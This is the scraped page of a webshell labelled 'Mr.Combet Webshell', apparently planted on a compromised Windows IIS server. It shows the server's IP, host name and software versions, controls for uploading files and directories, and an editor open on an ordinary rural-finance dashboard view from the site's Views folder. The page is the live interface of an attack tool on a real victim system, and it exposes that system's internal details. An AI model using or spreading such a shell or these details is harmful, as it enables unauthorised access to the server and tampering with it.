Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
VITA
/
Views
/
Dashboard
/
Edit File Name :
RuralDashboardBIReport.cshtml
@{ ViewBag.Title = "Rural Finance BI Report"; Layout = "~/Views/Shared/_Layout.cshtml"; } <div class="wrapper wrapper-content animated fadeInRight" style="padding:0px 0px 0px"> <div class="row wrapper border-bottom white-bg page-heading"> <div class="col-md-8"> <ol class="breadcrumb"> <li class="active"> <strong>Rural Finance BI Analysis</strong> </li> </ol> </div> </div> <br /> <div class="row"> <div class="col-lg-12"> <div class="ibox-content" style="margin-bottom:2%"> <button type="button" class="btn btn-primary pull-right" onclick="tableToExcel('pvtTable','PivotDownload')"> <i class="fa fa-file-excel-o" aria-hidden="true"></i> Download Data </button> <br /> <br /> <div class="form"> <div class="row"> <input type="hidden" id="FromDate" name="FromDate" /> <input type="hidden" id="ToDate" name="ToDate" /> <input type="hidden" id="FromDateNepali" name="FromDateNepali" /> <input type="hidden" id="ToDateNepali" name="ToDateNepali" /> <div class="form-group col-md-2"> <label><strong>Province</strong></label> <select type="text" class="form-control required" name="ProvinceId" id="ProvinceId" data-api="/province/select/threeStates"></select> </div> <div class="form-group col-md-2"> <label><strong>District</strong></label> <select type="text" class="form-control required" name="DistrictId" id="DistrictId" data-api="/districts/select" disabled></select> </div> <div class="form-group col-md-2"> <label><strong>Municipality</strong></label> <select type="text" class="form-control required" id="MunicipalityId" name="MunicipalityId" data-api="/municipality/select" disabled></select> </div> <div class="form-group col-md-2"> <label><strong>Commodity</strong></label> <select type="text" class="form-control required" id="CommodityId" name="CommodityId" data-api="/commodity/select/exceptother"></select> </div> <div class="form-group col-md-2"> <label><strong>Fiscal Year</strong></label> <select type="text" class="form-control required" name="FiscalYearId" id="FiscalYearId" data-api="/fiscal_year/select"></select> </div> <div class="form-group col-md-2"> <label><strong>Cooperative</strong></label> <select type="text" class="form-control required" name="CoopId" id="CoopId" data-api="/cooperatives/select"></select> </div> <div class="form-group col-md-1" style="margin-top:22px"> <button type="button" id="filter" name="filter" class="btn btn-primary center-orientation"><i class="fa fa-search" aria-hidden="true"></i></button> </div> </div> </div> </div> </div> </div> <div class="row"> <div class="col-lg-12"> <div class="ibox float-e-margins"> <div id="output" style="margin: 10px;"></div> </div> </div> </div> </div> <script src="~/Content/plugins/pivotTable/jquery-1.8.3.min.js"></script> <script src="~/Content/plugins/pivotTable/jquery-ui-1.9.2.custom.min.js"></script> <script src="~/Content/plugins/pivotTable/pivot.js"></script> <script type="text/javascript"> $(document).ready(function () { window.initializeSelectApis2(); window.initializeCascadeLocation2(); loadBIRuralFinance(0, 0, 0, 0, 0); }) function loadBIRuralFinance(province, district, municipality, coop, fiscalyear) { debugger; const ajax = request(); function request() { const url = `/rural/bi_report/data?province=${province}&coop=${coop}&municipality=${municipality}&district=${district}&fiscalYear=${fiscalyear}`; return window.getAjaxRequest(url, "Get", 1); } ajax.done(function (response) { console.log(response); setToPivotTable(response); }); ajax.fail(function (xhr) { ShowMessage("error", xhr.responseText); }); } $('#filter').off("click").on("click", function () { //var fromDate = $('#FromDate').val(); //var toDate = $('#ToDate').val(); var provinceId = $('#ProvinceId').val(); if (provinceId == "") { provinceId = 0; } else { provinceId = Number(provinceId); } var districtId = $('#DistrictId').val(); if (districtId == "") { districtId = 0; } else { districtId = Number(districtId) } var municipalityId = $('#MunicipalityId').val(); if (municipalityId == "") { municipalityId = 0; } else { municipalityId = Number(municipalityId); } var coopId = $('#CoopId').val(); if (coopId == "") { coopId = 0; } else { coopId = Number(coopId); } var fyid = $('#FiscalYearId').val(); if (fyid == "") { fyid = 0; } else { fyid = Number(fyid); } loadBIRuralFinance(coopId, provinceId, municipalityId, districtId, fyid); }) function setToPivotTable(response) { $("#output").pivotUI( response, { rows: ["Coopearative", "CoopType"], cols: ["Province", "District", "Municipality"] }, { onRefresh: function (config) { var config_copy = JSON.parse(JSON.stringify(config)); //delete some values which are functions delete config_copy["aggregators"]; delete config_copy["renderers"]; //delete some bulky default values delete config_copy["rendererOptions"]; delete config_copy["localeStrings"]; $("#output").text(JSON.stringify(config_copy, undefined, 2)); } } ); } var tableToExcel = (function () { var uri = 'data:application/vnd.ms-excel;base64,' , template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><style> table, td {border:2em solid black;padding:20px !important;border-spacing: 10px}table {border-collapse:collapse}</style> <!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines/></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--></head><body><table>{table}</table></body></html>' , base64 = function (s) { return window.btoa(unescape(encodeURIComponent(s))) } , format = function (s, c) { return s.replace(/{(\w+)}/g, function (m, p) { return c[p]; }) } return function (table, name) { debugger; if (!table.nodeType) table = document.getElementsByClassName(table)[0] var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML } window.location.href = uri + base64(format(template, ctx)) } })() </script> <style> @@import url('../../Content/plugins/pivotTable/pivot.css'); #output { display: block; width: 100%; overflow: auto; } </style>
Save